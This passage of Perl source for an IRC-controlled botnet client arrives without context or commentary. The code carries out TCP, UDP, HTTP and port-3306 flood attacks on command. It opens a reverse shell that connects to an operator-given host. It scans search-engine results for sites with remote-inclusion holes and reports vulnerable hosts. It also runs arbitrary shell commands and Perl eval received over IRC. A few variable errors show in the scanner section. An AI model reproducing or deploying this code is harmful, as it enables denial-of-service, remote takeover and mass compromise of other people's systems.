<PRE>         sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3ChannelFlood 12] 14 Excecuted ");</PRE>
<PRE>   }                                                                               </PRE>
<PRE>   # Maxi Flood, @maxiflood                                                        </PRE>
<PRE>   if ($funcarg =~ /^maxiflood(.*)/) {                                             </PRE>
<PRE>      for($i=0; $i<=15; $i+=1){                                                    </PRE>
<PRE>            sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFl00D\n");                 </PRE>
<PRE>            sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");         </PRE>
<PRE>            sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");            </PRE>
<PRE>            sendraw($IRC_cur_socket, "PRIVMSG ".$1." :w3tFl00D\n");                </PRE>
<PRE>      }                                                                            </PRE>
<PRE>         sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3M4Xi-Fl00d 12] 14 Excecuted on ".$1." ");</PRE>
<PRE>   }                                                                               </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #  irc    #                                                                     </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>            if ($funcarg =~ /^reset/) {                                            </PRE>
<PRE>               sendraw($IRC_cur_socket, "QUIT :");                                 </PRE>
<PRE>            }                                                                      </PRE>
<PRE>            if ($funcarg =~ /^join (.*)/) {                                        </PRE>
<PRE>               sendraw($IRC_cur_socket, "JOIN ".$1);                               </PRE>
<PRE>            }                                                                      </PRE>
<PRE>            if ($funcarg =~ /^part (.*)/) {                                        </PRE>
<PRE>               sendraw($IRC_cur_socket, "PART ".$1);                               </PRE>
<PRE>            }                                                                      </PRE>
<PRE>            if ($funcarg =~ /^voice (.*)/) {                                       </PRE>
<PRE>               sendraw($IRC_cur_socket, "MODE $printl +v ".$1);                    </PRE>
<PRE>              }                                                                    </PRE>
<PRE>            if ($funcarg =~ /^devoice (.*)/) {                                     </PRE>
<PRE>               sendraw($IRC_cur_socket, "MODE $printl -v ".$1);                    </PRE>
<PRE>              }                                                                    </PRE>
<PRE>            if ($funcarg =~ /^halfop (.*)/) {                                      </PRE>
<PRE>               sendraw($IRC_cur_socket, "MODE $printl +h ".$1);                    </PRE>
<PRE>              }                                                                    </PRE>
<PRE>            if ($funcarg =~ /^dehalfop (.*)/) {                                    </PRE>
<PRE>               sendraw($IRC_cur_socket, "MODE $printl -h ".$1);                    </PRE>
<PRE>              }                                                                    </PRE>
<PRE>            if ($funcarg =~ /^owner (.*)/) {                                       </PRE>
<PRE>               sendraw($IRC_cur_socket, "MODE $printl +q ".$1);                    </PRE>
<PRE>              }                                                                    </PRE>
<PRE>            if ($funcarg =~ /^deowner (.*)/) {                                     </PRE>
<PRE>               sendraw($IRC_cur_socket, "MODE $printl -q ".$1);                    </PRE>
<PRE>            }                                                                      </PRE>
<PRE>            if ($funcarg =~ /^op (.*)/) {                                          </PRE>
<PRE>               sendraw($IRC_cur_socket, "MODE $printl +o ".$1);                    </PRE>
<PRE>              }                                                                    </PRE>
<PRE>            if ($funcarg =~ /^deop (.*)/) {                                        </PRE>
<PRE>               sendraw($IRC_cur_socket, "MODE $printl -o ".$1);                    </PRE>
<PRE>              }                                                                    </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #End of Join And Part#                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #     TCPFlood       #                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>                                                                                   </PRE>
<PRE>            if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {                  </PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3TCP-DDOS 12] Attacking  4 ".$1.":".$2."  12for  4 ".$3."  12seconds.");</PRE>
<PRE>               my $itime = time;                                                   </PRE>
<PRE>               my ($cur_time);                                                     </PRE>
<PRE>               $cur_time = time - $itime;                                          </PRE>
<PRE>               while ($3>$cur_time){                                               </PRE>
<PRE>                  $cur_time = time - $itime;                                       </PRE>
<PRE>                  &tcpflooder("$1","$2","$3");                                     </PRE>
<PRE>               }                                                                   </PRE>
<PRE>               sendraw($IRC_cur_socket,"PRIVMSG $printl : 12[ 4@ 3TCP-DDOS 12] Attack done  4 ".$1.":".$2.".");</PRE>
<PRE>            }                                                                      </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #  End of TCPFlood   #                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #               SQL Fl00dEr                     #                               </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) {                                   </PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3SQL-DDOS 12] Attacking   4 ".$1."  12 on port 3306 for  4 ".$2."  12 seconds  .");</PRE>
<PRE>   my $itime = time;                                                               </PRE>
<PRE>   my ($cur_time);                                                                 </PRE>
<PRE>   $cur_time = time - $itime;                                                      </PRE>
<PRE>   while ($2>$cur_time){                                                           </PRE>
<PRE>   $cur_time = time - $itime;                                                      </PRE>
<PRE>      my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306);</PRE>
<PRE>      print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";</PRE>
<PRE>   close($socket);                                                                 </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3SQL-DDOS 12] Attacking done   4 ".$1.".");</PRE>
<PRE>   }                                                                               </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #   Back Connect     #                                                          </PRE>
<PRE>                                                                                   </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>            if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {                              </PRE>
<PRE>               my $host = "$1";                                                    </PRE>
<PRE>               my $porta = "$2";                                                   </PRE>
<PRE>               my $proto = getprotobyname('tcp');                                  </PRE>
<PRE>               my $iaddr = inet_aton($host);                                       </PRE>
<PRE>               my $paddr = sockaddr_in($porta, $iaddr);                            </PRE>
<PRE>               my $shell = "/bin/sh -i";                                           </PRE>
<PRE>               if ($^O eq "MSWin32") {                                             </PRE>
<PRE>                  $shell = "cmd.exe";                                              </PRE>
<PRE>               }                                                                   </PRE>
<PRE>               socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";   </PRE>
<PRE>               connect(SOCKET, $paddr) or die "connect: $!";                       </PRE>
<PRE>               open(STDIN, ">&SOCKET");                                            </PRE>
<PRE>               open(STDOUT, ">&SOCKET");                                           </PRE>
<PRE>               open(STDERR, ">&SOCKET");                                           </PRE>
<PRE>               system("$shell");                                                   </PRE>
<PRE>               close(STDIN);                                                       </PRE>
<PRE>               close(STDOUT);                                                      </PRE>
<PRE>               close(STDERR);                                                      </PRE>
<PRE>               if ($estatisticas){                                                 </PRE>
<PRE>                  sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Back-Connect 12] Connecting to  4 $host:$porta");</PRE>
<PRE>               }                                                                   </PRE>
<PRE>            }                                                                      </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #End of  Back Connect#                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #    MULTI SCANNER   #                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   if ($funcarg =~ /^multiscan\s+(.*?)\s+(.*)/){                                   </PRE>
<PRE>   if (my $pid = fork) {                                                           </PRE>
<PRE>   waitpid($pid, 0);                                                               </PRE>
<PRE>   } else {                                                                        </PRE>
<PRE>   if (fork) {                                                                     </PRE>
<PRE>   exit;                                                                           </PRE>
<PRE>   } else {                                                                        </PRE>
<PRE>   my $bug=$1;                                                                     </PRE>
<PRE>   my $dork=$2;                                                                    </PRE>
<PRE>   my $contatore=0;                                                                </PRE>
<PRE>                     my ($type,$space);                                            </PRE>
<PRE>                     my %hosts;                                                    </PRE>
<PRE>                     ### Start Message                                             </PRE>
<PRE>                     sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Multi-Scan 12] Starting Scan for  4$bug $dork");</PRE>
<PRE>                     sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ 3Multi-Scan 12] Initializing on  45  12Search Engines ");</PRE>
<PRE>                     ### End of Start Message                                      </PRE>
<PRE>   # Starting Google                                                               </PRE>
<PRE>      my @glist=&google($dork);                                                    </PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl  7[ 4@ 3Multi-Scan 12]   2G 4o 8o 2g 3l 4e   7[ ".scalar(@glist)." 7]  Sites");</PRE>
<PRE>      my @mlist=&msn($dork);                                                       </PRE>
<PRE>      my @asklist=&ask($dork);                                                     </PRE>
<PRE>      my @allist=&alltheweb($dork);                                                </PRE>
<PRE>      my @aollist=&aol($dork);                                                     </PRE>
<PRE>      my @lycos=&lycos($dork);                                                     </PRE>
<PRE>      my @ylist=&yahoo($dork);                                                     </PRE>
<PRE>      my @mzlist=&mozbot($dork);                                                   </PRE>
<PRE>      my @mamalist&mamma($dork);                                                   </PRE>
<PRE>      my @hlist=&hotbot($dork);                                                    </PRE>
<PRE>      my @altlist=&altavista($dork);                                               </PRE>
<PRE>      my @slist=&search($dork);                                                    </PRE>
<PRE>      my @ulist=&uol($dork);                                                       </PRE>
<PRE>      my @fireball=&fireball($dork);                                               </PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3Multi-Scan 12] 12   2G 4o 8o 2g 3l 4e   7[ ".scalar(@glist)." 7]  Sites");</PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3Multi-Scan 12] 12  MSN  7[ ".scalar(@mlist)." 7]  Sites");</PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3Multi-Scan 12] 12  AllTheWeb  7[ ".scalar(@allist)." 7]  Sites");</PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3Multi-Scan 12] 12  Ask.com  7[ ".scalar(@asklist)." 7]  Sites");</PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3Multi-Scan 12] 12  AOL  7[ ".scalar(@aollist)." 7]  Sites");</PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3Multi-Scan 12] 12  Lycos  7[ ".scalar(@lycos)." 7]  Sites");</PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3Multi-Scan 12] 12  Yahoo!  7[ ".scalar(@ylist)." 7]  Sites");</PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3Multi-Scan 12] 12  MozBot  7[ ".scalar(@mzlist)." 7]  Sites");</PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3Multi-Scan 12] 12  Mama  7[ ".scalar(@mamalist)." 7]  Sites");</PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3Multi-Scan 12] 12  HotBot  7[ ".scalar(@hlist)." 7]  Sites");</PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3Multi-Scan 12] 12  Altavista  7[ ".scalar(@altlist)." 7]  Sites");</PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3Multi-Scan 12] 12  Search[dot]com  7[ ".scalar(@slist)." 7]  Sites");</PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3Multi-Scan 12] 12  UoL  7[ ".scalar(@ulist)." 7]  Sites");</PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3Multi-Scan 12] 12  FireBall  7[ ".scalar(@flist)." 7]  Sites");</PRE>
<PRE>   #                                                                               </PRE>
<PRE>   push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );</PRE>
<PRE>   my @puliti=&unici(@tot);                                                        </PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl  7[ 4@ 3Multi-Scan 12]   Results: Total: 7[ ".scalar(@tot)." 7]  Sites and Cleaned:  7[ ".scalar(@puliti)." 7]  for $dork ");</PRE>
<PRE>   my $uni=scalar(@puliti);                                                        </PRE>
<PRE>   foreach my $sito (@puliti)                                                      </PRE>
<PRE>   {                                                                               </PRE>
<PRE>   $contatore++;                                                                   </PRE>
<PRE>   if ($contatore %100==0){                                                        </PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl  7[ 4@ 3Multi-Scan 12]  Exploiting   7[ ".$contatore." 7]   of   7[ ".$uni. " 7]  Sites");</PRE>
<PRE>   }                                                                               </PRE>
<PRE>   if ($contatore==$uni-1){                                                        </PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl  7[ 4@ 3Multi-Scan 12]  Finished for  $dork");</PRE>
<PRE>   }                                                                               </PRE>
<PRE>   ### Print CMD and TEST CMD###                                                   </PRE>
<PRE>   my $test="http://".$sito.$bug.$id."?";                                          </PRE>
<PRE>   my $print="http://".$sito.$bug.$cmd."?";                                        </PRE>
<PRE>   ### End of Print CMD and TEST CMD###                                            </PRE>
<PRE>   my $req=HTTP::Request->new(GET=>$test);                                         </PRE>
<PRE>   my $ua=LWP::UserAgent->new();                                                   </PRE>
<PRE>   $ua->timeout(4);                                                                </PRE>
<PRE>   my $response=$ua->request($req);                                                </PRE>
<PRE>   if ($response->is_success) {                                                    </PRE>
<PRE>   my $re=$response->content;                                                      </PRE>
<PRE>   if($re =~ /Mic22/ && $re =~ /uid=/){                                            </PRE>
<PRE>   my $hs=geths($print); $hosts{$hs}++;                                            </PRE>
<PRE>   if($hosts{$hs}=="1"){                                                           </PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl  7[ 4@ 3Multi-Scan 12]   Safe Mode = OFF :. | Vuln:  $print ");</PRE>
<PRE>   }}                                                                              </PRE>
<PRE>   elsif($re =~ /Mic22/)                                                           </PRE>
<PRE>   {                                                                               </PRE>
<PRE>   my $hs=geths($print); $hosts{$hs}++;                                            </PRE>
<PRE>   if($hosts{$hs}=="1"){                                                           </PRE>
<PRE>   sendraw($IRC_cur_socket, "PRIVMSG $printl  7[ 4@ 3Multi-Scan 12]   Safe Mode =  ON :. | Vuln:  $print  ");</PRE>
<PRE>   }}                                                                              </PRE>
<PRE>   }}}                                                                             </PRE>
<PRE>   exit;                                                                           </PRE>
<PRE>   }}}                                                                             </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #End of MultiSCANNER #                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #     HTTPFlood      #                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>            if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {                         </PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4| 12.: 3HTTP DDoS 12:. 4| 12 Attacking  4 ".$1."  12 on port 80 for  4 ".$2."  12 seconds .");</PRE>
<PRE>               my $itime = time;                                                   </PRE>
<PRE>               my ($cur_time);                                                     </PRE>
<PRE>               $cur_time = time - $itime;                                          </PRE>
<PRE>               while ($2>$cur_time){                                               </PRE>
<PRE>                  $cur_time = time - $itime;                                       </PRE>
<PRE>                  my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);</PRE>
<PRE>                  print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";</PRE>
<PRE>                  close($socket);                                                  </PRE>
<PRE>               }                                                                   </PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4| 12.: 3HTTP DDoS 12:. 4| 12 Attacking done  4 ".$1.".");</PRE>
<PRE>            }                                                                      </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #  End of HTTPFlood  #                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #     UDPFlood       #                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>            if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {                  </PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4| 12.: 3UDP DDoS 12:. 4| 12 Attacking  4 ".$1."  12 with  4 ".$2."  12 Kb Packets for  4 ".$3."  12 seconds.");</PRE>
<PRE>               my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");               </PRE>
<PRE>               $dtime = 1 if $dtime == 0;                                          </PRE>
<PRE>               my %bytes;                                                          </PRE>
<PRE>               $bytes{igmp} = $2 * $pacotes{igmp};                                 </PRE>
<PRE>               $bytes{icmp} = $2 * $pacotes{icmp};                                 </PRE>
<PRE>               $bytes{o} = $2 * $pacotes{o};                                       </PRE>
<PRE>               $bytes{udp} = $2 * $pacotes{udp};                                   </PRE>
<PRE>               $bytes{tcp} = $2 * $pacotes{tcp};                                   </PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl : 4[ 4@ 3UDP-DDos 12] 12  12Results 4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)."  12Kb in 4 ".$dtime."  12seconds to 4 ".$1.".");</PRE>
<PRE>            }                                                                      </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>   #  End of Udpflood   #                                                          </PRE>
<PRE>   ######################                                                          </PRE>
<PRE>            exit;                                                                  </PRE>
<PRE>         }                                                                         </PRE>
<PRE>      }                                                                            </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub ircase {                                                                    </PRE>
<PRE>      my ($kem, $printl, $case) = @_;                                              </PRE>
<PRE>      if ($case =~ /^join (.*)/) {                                                 </PRE>
<PRE>         j("$1");                                                                  </PRE>
<PRE>      }                                                                            </PRE>
<PRE>      if ($case =~ /^part (.*)/) {                                                 </PRE>
<PRE>         p("$1");                                                                  </PRE>
<PRE>      }                                                                            </PRE>
<PRE>      if ($case =~ /^rejoin\s+(.*)/) {                                             </PRE>
<PRE>         my $chan = $1;                                                            </PRE>
<PRE>         if ($chan =~ /^(\d+) (.*)/) {                                             </PRE>
<PRE>            for (my $ca = 1; $ca <= $1; $ca++ ) {                                  </PRE>
<PRE>               p("$2");                                                            </PRE>
<PRE>               j("$2");                                                            </PRE>
<PRE>            }                                                                      </PRE>
<PRE>         } else {                                                                  </PRE>
<PRE>            p("$chan");                                                            </PRE>
<PRE>            j("$chan");                                                            </PRE>
<PRE>         }                                                                         </PRE>
<PRE>      }                                                                            </PRE>
<PRE>                                                                                   </PRE>
<PRE>      if ($case =~ /^op/) {                                                        </PRE>
<PRE>         op("$printl", "$kem") if $case eq "op";                                   </PRE>
<PRE>         my $oarg = substr($case, 3);                                              </PRE>
<PRE>         op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);                             </PRE>
<PRE>      }                                                                            </PRE>
<PRE>                                                                                   </PRE>
<PRE>      if ($case =~ /^deop/) {                                                      </PRE>
<PRE>         deop("$printl", "$kem") if $case eq "deop";                               </PRE>
<PRE>         my $oarg = substr($case, 5);                                              </PRE>
<PRE>         deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);                           </PRE>
<PRE>      }                                                                            </PRE>
<PRE>                                                                                   </PRE>
<PRE>      if ($case =~ /^msg\s+(\S+) (.*)/) {                                          </PRE>
<PRE>         msg("$1", "$2");                                                          </PRE>
<PRE>      }                                                                            </PRE>
<PRE>                                                                                   </PRE>
<PRE>      if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {                                </PRE>
<PRE>         for (my $cf = 1; $cf <= $1; $cf++) {                                      </PRE>
<PRE>            msg("$2", "$3");                                                       </PRE>
<PRE>         }                                                                         </PRE>
<PRE>      }                                                                            </PRE>
<PRE>                                                                                   </PRE>
<PRE>      if ($case =~ /^ctcp\s+(\S+) (.*)/) {                                         </PRE>
<PRE>         ctcp("$1", "$2");                                                         </PRE>
<PRE>      }                                                                            </PRE>
<PRE>                                                                                   </PRE>
<PRE>      if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {                            </PRE>
<PRE>         for (my $cf = 1; $cf <= $1; $cf++) {                                      </PRE>
<PRE>            ctcp("$2", "$3");                                                      </PRE>
<PRE>         }                                                                         </PRE>
<PRE>      }                                                                            </PRE>
<PRE>                                                                                   </PRE>
<PRE>      if ($case =~ /^nick (.*)/) {                                                 </PRE>
<PRE>         nick("$1");                                                               </PRE>
<PRE>      }                                                                            </PRE>
<PRE>                                                                                   </PRE>
<PRE>      if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {                                   </PRE>
<PRE>         conectar("$2", "$1", 6667);                                               </PRE>
<PRE>      }                                                                            </PRE>
<PRE>                                                                                   </PRE>
<PRE>      if ($case =~ /^raw (.*)/) {                                                  </PRE>
<PRE>         sendraw("$1");                                                            </PRE>
<PRE>      }                                                                            </PRE>
<PRE>                                                                                   </PRE>
<PRE>      if ($case =~ /^eval (.*)/) {                                                 </PRE>
<PRE>         eval "$1";                                                                </PRE>
<PRE>      }                                                                            </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub get_html() {                                                                </PRE>
<PRE>   $test=$_[0];                                                                    </PRE>
<PRE>                                                                                   </PRE>
<PRE>         $ip=$_[1];                                                                </PRE>
<PRE>         $port=$_[2];                                                              </PRE>
<PRE>                                                                                   </PRE>
<PRE>   my $req=HTTP::Request->new(GET=>$test);                                         </PRE>
<PRE>   my $ua=LWP::UserAgent->new();                                                   </PRE>
<PRE>   if(defined($ip) && defined($port)) {                                            </PRE>
<PRE>         $ua->proxy("http","http://$ip:$port/");                                   </PRE>
<PRE>         $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");         </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   $ua->timeout(1);                                                                </PRE>
<PRE>   my $response=$ua->request($req);                                                </PRE>
<PRE>   if ($response->is_success) {                                                    </PRE>
<PRE>      $re=$response->content;                                                      </PRE>
<PRE>   }                                                                               </PRE>
<PRE>   return $re;                                                                     </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub addproc {                                                                   </PRE>
<PRE>                                                                                   </PRE>
<PRE>      my $proc=$_[0];                                                              </PRE>
<PRE>      my $dork=$_[1];                                                              </PRE>
<PRE>                                                                                   </PRE>
<PRE>      open(FILE,">>/var/tmp/pids");                                                </PRE>
<PRE>      print FILE $proc." [".$irc_servers{$IRC_cur_socket}{'nick'}."] $dork\n";     </PRE>
<PRE>      close(FILE);                                                                 </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub delproc {                                                                   </PRE>
<PRE>                                                                                   </PRE>
<PRE>      my $proc=$_[0];                                                              </PRE>
<PRE>      open(FILE,"/var/tmp/pids");                                                  </PRE>
<PRE>                                                                                   </PRE>
<PRE>      while(<FILE>) {                                                              </PRE>
<PRE>         $_ =~ /(\d+)\s+(.*)/;                                                     </PRE>
<PRE>         $childs{$1}=$2;                                                           </PRE>
<PRE>      }                                                                            </PRE>
<PRE>      close(FILE);                                                                 </PRE>
<PRE>      delete($childs{$proc});                                                      </PRE>
<PRE>                                                                                   </PRE>
<PRE>      open(FILE,">/var/tmp/pids");                                                 </PRE>
<PRE>                                                                                   </PRE>
<PRE>      for $klucz (keys %childs) {                                                  </PRE>
<PRE>         print FILE $klucz." ".$childs{$klucz}."\n";                               </PRE>
<PRE>      }                                                                            </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub shell {                                                                     </PRE>
<PRE>      my $printl=$_[0];                                                            </PRE>
<PRE>      my $comando=$_[1];                                                           </PRE>
<PRE>      if ($comando =~ /cd (.*)/) {                                                 </PRE>
<PRE>         chdir("$1") || msg("$printl", "No such file or directory");               </PRE>
<PRE>         return;                                                                   </PRE>
<PRE>      } elsif ($pid = fork) {                                                      </PRE>
<PRE>         waitpid($pid, 0);                                                         </PRE>
<PRE>      } else {                                                                     </PRE>
<PRE>         if (fork) {                                                               </PRE>
<PRE>            exit;                                                                  </PRE>
<PRE>         } else {                                                                  </PRE>
<PRE>            my @resp=`$comando 2>&1 3>&1`;                                         </PRE>
<PRE>            my $c=0;                                                               </PRE>
<PRE>            foreach my $linha (@resp) {                                            </PRE>
<PRE>               $c++;                                                               </PRE>
<PRE>               chop $linha;                                                        </PRE>
<PRE>               sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");                </PRE>
<PRE>               if ($c == "$linas_max") {                                           </PRE>
<PRE>                  $c=0;                                                            </PRE>
<PRE>                  sleep $sleep;                                                    </PRE>
<PRE>               }                                                                   </PRE>
<PRE>            }                                                                      </PRE>
<PRE>            exit;                                                                  </PRE>
<PRE>         }                                                                         </PRE>
<PRE>      }                                                                            </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub tcpflooder {                                                                </PRE>
<PRE>      my $itime = time;                                                            </PRE>
<PRE>      my ($cur_time);                                                              </PRE>
<PRE>      my ($ia,$pa,$proto,$j,$l,$t);                                                </PRE>
<PRE>      $ia=inet_aton($_[0]);                                                        </PRE>
<PRE>      $pa=sockaddr_in($_[1],$ia);                                                  </PRE>
<PRE>      $ftime=$_[2];                                                                </PRE>
<PRE>      $proto=getprotobyname('tcp');                                                </PRE>
<PRE>      $j=0;$l=0;                                                                   </PRE>
<PRE>      $cur_time = time - $itime;                                                   </PRE>
<PRE>      while ($l<1000){                                                             </PRE>
<PRE>         $cur_time = time - $itime;                                                </PRE>
<PRE>         last if $cur_time >= $ftime;                                              </PRE>
<PRE>         $t="SOCK$l";                                                              </PRE>
<PRE>         socket($t,PF_INET,SOCK_STREAM,$proto);                                    </PRE>
<PRE>         connect($t,$pa)||$j--;                                                    </PRE>
<PRE>         $j++;                                                                     </PRE>
<PRE>         $l++;                                                                     </PRE>
<PRE>      }                                                                            </PRE>
<PRE>      $l=0;                                                                        </PRE>
<PRE>      while ($l<1000){                                                             </PRE>
<PRE>         $cur_time = time - $itime;                                                </PRE>
<PRE>         last if $cur_time >= $ftime;                                              </PRE>
<PRE>         $t="SOCK$l";                                                              </PRE>
<PRE>         shutdown($t,2);                                                           </PRE>
<PRE>         $l++;                                                                     </PRE>
<PRE>      }                                                                            </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub udpflooder {                                                                </PRE>
<PRE>      my $iaddr = inet_aton($_[0]);                                                </PRE>
<PRE>      my $msg = 'A' x $_[1];                                                       </PRE>
<PRE>      my $ftime = $_[2];                                                           </PRE>
<PRE>      my $cp = 0;                                                                  </PRE>
<PRE>      my (%pacotes);                                                               </PRE>
<PRE>      $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;</PRE>
<PRE>      socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;                                </PRE>
<PRE>      socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;                             </PRE>
<PRE>      socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;                                </PRE>
<PRE>      socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;                                </PRE>
<PRE>      return(undef) if $cp == 4;                                                   </PRE>
<PRE>      my $itime = time;                                                            </PRE>
<PRE>      my ($cur_time);                                                              </PRE>
<PRE>      while ( 1 ) {                                                                </PRE>
<PRE>         for (my $porta = 1; $porta <= 65000; $porta++) {                          </PRE>
<PRE>            $cur_time = time - $itime;                                             </PRE>
<PRE>            last if $cur_time >= $ftime;                                           </PRE>
<PRE>            send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;</PRE>
<PRE>            send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++; </PRE>
<PRE>            send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;</PRE>
<PRE>            send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++; </PRE>
<PRE>            for (my $pc = 3; $pc <= 255;$pc++) {                                   </PRE>
<PRE>               next if $pc == 6;                                                   </PRE>
<PRE>               $cur_time = time - $itime;                                          </PRE>
<PRE>               last if $cur_time >= $ftime;                                        </PRE>
<PRE>               socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;                      </PRE>
<PRE>               send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;</PRE>
<PRE>            }                                                                      </PRE>
<PRE>         }                                                                         </PRE>
<PRE>         last if $cur_time >= $ftime;                                              </PRE>
<PRE>      }                                                                            </PRE>
<PRE>      return($cur_time, %pacotes);                                                 </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub ctcp {                                                                      </PRE>
<PRE>      return unless $#_ == 1;                                                      </PRE>
<PRE>      sendraw("PRIVMSG $_[0] :\001$_[1]\001");                                     </PRE>
<PRE>   }                                                                               </PRE>
<PRE>                                                                                   </PRE>
<PRE>   sub msg {                                                                       </PRE>
<PRE>      return unless $#_ == 1;                                                      </PRE>
